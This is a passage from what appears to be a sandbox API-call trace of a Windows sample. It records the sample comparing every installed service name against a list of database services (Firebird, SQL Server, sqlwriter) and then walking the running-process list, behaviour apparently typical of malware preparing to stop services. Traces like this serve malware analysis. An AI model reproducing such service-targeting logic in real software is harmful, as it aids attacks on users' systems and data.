(lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0214.237] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0214.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0214.237] lstrlenW (lpString="BFE") returned 3 [0214.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0214.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0214.237] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0214.237] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0214.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0214.237] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0214.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0214.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0214.237] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0214.237] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0214.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0214.237] lstrlenW (lpString="CDPSvc") returned 6 [0214.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0214.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0214.237] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0214.237] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0214.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0214.237] lstrlenW (lpString="ClickToRunSvc") returned 13 [0214.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0214.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0214.237] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0214.237] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0214.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0214.238] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0214.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0214.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0214.238] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0214.238] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0214.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0214.238] lstrlenW (lpString="CryptSvc") returned 8 [0214.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0214.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0214.238] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0214.238] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0214.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0214.238] lstrlenW (lpString="DcomLaunch") returned 10 [0214.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0214.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0214.238] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0214.238] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0214.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0214.238] lstrlenW (lpString="DeviceAssociationService") returned 24 [0214.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0214.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0214.238] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0214.238] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0214.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0214.238] lstrlenW (lpString="Dhcp") returned 4 [0214.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0214.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0214.238] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0214.238] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0214.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0214.238] lstrlenW (lpString="Dnscache") returned 8 [0214.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0214.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0214.239] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0214.239] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0214.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0214.239] lstrlenW (lpString="DPS") returned 3 [0214.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0214.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0214.239] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0214.239] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0214.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0214.239] lstrlenW (lpString="DusmSvc") returned 7 [0214.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0214.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0214.239] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0214.239] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0214.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0214.239] lstrlenW (lpString="EventLog") returned 8 [0214.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0214.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0214.239] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0214.239] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0214.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0214.239] lstrlenW (lpString="EventSystem") returned 11 [0214.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0214.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0214.239] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0214.239] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0214.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0214.239] lstrlenW (lpString="FontCache") returned 9 [0214.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0214.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0214.239] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0214.240] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0214.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0214.240] lstrlenW (lpString="gpsvc") returned 5 [0214.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0214.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0214.240] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0214.240] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0214.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0214.240] lstrlenW (lpString="iphlpsvc") returned 8 [0214.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0214.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0214.240] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0214.240] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0214.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0214.240] lstrlenW (lpString="KeyIso") returned 6 [0214.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0214.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0214.240] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0214.240] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0214.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0214.240] lstrlenW (lpString="LanmanServer") returned 12 [0214.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0214.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0214.240] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0214.240] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0214.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0214.240] lstrlenW (lpString="LanmanWorkstation") returned 17 [0214.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0214.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0214.240] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0214.240] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0214.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0214.241] lstrlenW (lpString="lfsvc") returned 5 [0214.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0214.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0214.241] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0214.241] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0214.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0214.241] lstrlenW (lpString="lmhosts") returned 7 [0214.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0214.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0214.241] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0214.241] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0214.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0214.241] lstrlenW (lpString="LSM") returned 3 [0214.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0214.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0214.241] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0214.241] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0214.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0214.241] lstrlenW (lpString="MpsSvc") returned 6 [0214.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0214.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0214.241] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0214.241] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0214.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0214.242] lstrlenW (lpString="NcbService") returned 10 [0214.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0214.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0214.242] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0214.242] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0214.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0214.242] lstrlenW (lpString="netprofm") returned 8 [0214.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0214.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0214.242] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0214.242] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0214.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0214.242] lstrlenW (lpString="NgcSvc") returned 6 [0214.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0214.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0214.242] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0214.242] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0214.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0214.242] lstrlenW (lpString="NlaSvc") returned 6 [0214.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0214.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0214.242] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0214.242] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0214.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0214.242] lstrlenW (lpString="nsi") returned 3 [0214.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0214.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0214.242] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0214.242] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0214.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0214.242] lstrlenW (lpString="PcaSvc") returned 6 [0214.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0214.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0214.243] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0214.243] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0214.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0214.243] lstrlenW (lpString="PlugPlay") returned 8 [0214.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0214.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0214.243] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0214.243] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0214.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0214.243] lstrlenW (lpString="Power") returned 5 [0214.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0214.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0214.243] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0214.243] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0214.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0214.243] lstrlenW (lpString="ProfSvc") returned 7 [0214.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0214.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0214.243] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0214.243] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0214.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0214.243] lstrlenW (lpString="RpcEptMapper") returned 12 [0214.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0214.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0214.243] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0214.243] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0214.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0214.243] lstrlenW (lpString="RpcSs") returned 5 [0214.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0214.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0214.243] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0214.243] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0214.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0214.244] lstrlenW (lpString="SamSs") returned 5 [0214.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0214.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0214.244] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0214.244] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0214.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0214.244] lstrlenW (lpString="Schedule") returned 8 [0214.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0214.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0214.244] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0214.244] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0214.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0214.244] lstrlenW (lpString="SecurityHealthService") returned 21 [0214.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0214.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0214.244] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0214.244] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0214.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0214.244] lstrlenW (lpString="SENS") returned 4 [0214.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0214.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0214.244] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0214.244] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0214.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0214.244] lstrlenW (lpString="ShellHWDetection") returned 16 [0214.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0214.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0214.244] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0214.244] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0214.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0214.244] lstrlenW (lpString="Spooler") returned 7 [0214.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0214.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0214.245] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0214.245] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0214.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0214.245] lstrlenW (lpString="StateRepository") returned 15 [0214.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0214.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0214.245] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0214.245] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0214.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0214.245] lstrlenW (lpString="SysMain") returned 7 [0214.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0214.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0214.245] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0214.245] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0214.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0214.245] lstrlenW (lpString="SystemEventsBroker") returned 18 [0214.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0214.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0214.245] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0214.245] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0214.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0214.245] lstrlenW (lpString="Themes") returned 6 [0214.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0214.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0214.245] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0214.245] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0214.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0214.245] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0214.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0214.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0214.245] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0214.246] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0214.246] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x554 [0214.250] Process32FirstW (in: hSnapshot=0x554, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0214.251] Process32NextW (in: hSnapshot=0x554, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0214.251] lstrlenW (lpString="System") returned 6 [0214.251] Process32NextW (in: hSnapshot=0x554, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0214.252] lstrlenW (lpString="smss.exe") returned 8 [0214.252] Process32NextW (in: hSnapshot=0x554, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0214.252] lstrlenW (lpString="csrss.exe") returned 9 [0214.252] Process32NextW (in: hSnapshot=0x554, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0214.253] lstrlenW (lpString="wininit.exe") returned 11 [0214.253] Process32NextW (in: hSnapshot=0x554, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0214.253] lstrlenW (lpString="csrss.exe") returned 9 [0214.253] Process32NextW (in: hSnapshot=0x554, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0214.253] lstrlenW (lpString="winlogon.exe") returned 12 [0214.253] Process32NextW (in: hSnapshot=0x554, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0214.254] lstrlenW (lpString="services.exe") returned 12 [0214.254] Process32NextW (in: hSnapshot=0x554, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0214.254] lstrlenW (lpString="lsass.exe") returned 9 [0214.254] Process32NextW (in: hSnapshot=0x554, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0214.255] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0214.255] Process32NextW (in: hSnapshot=0x554, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0214.255] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0214.255] Process32NextW (in: hSnapshot=0x554, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.256] lstrlenW (lpString="svchost.exe") returned 11 [0214.256] Process32NextW (in: hSnapshot=0x554, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, 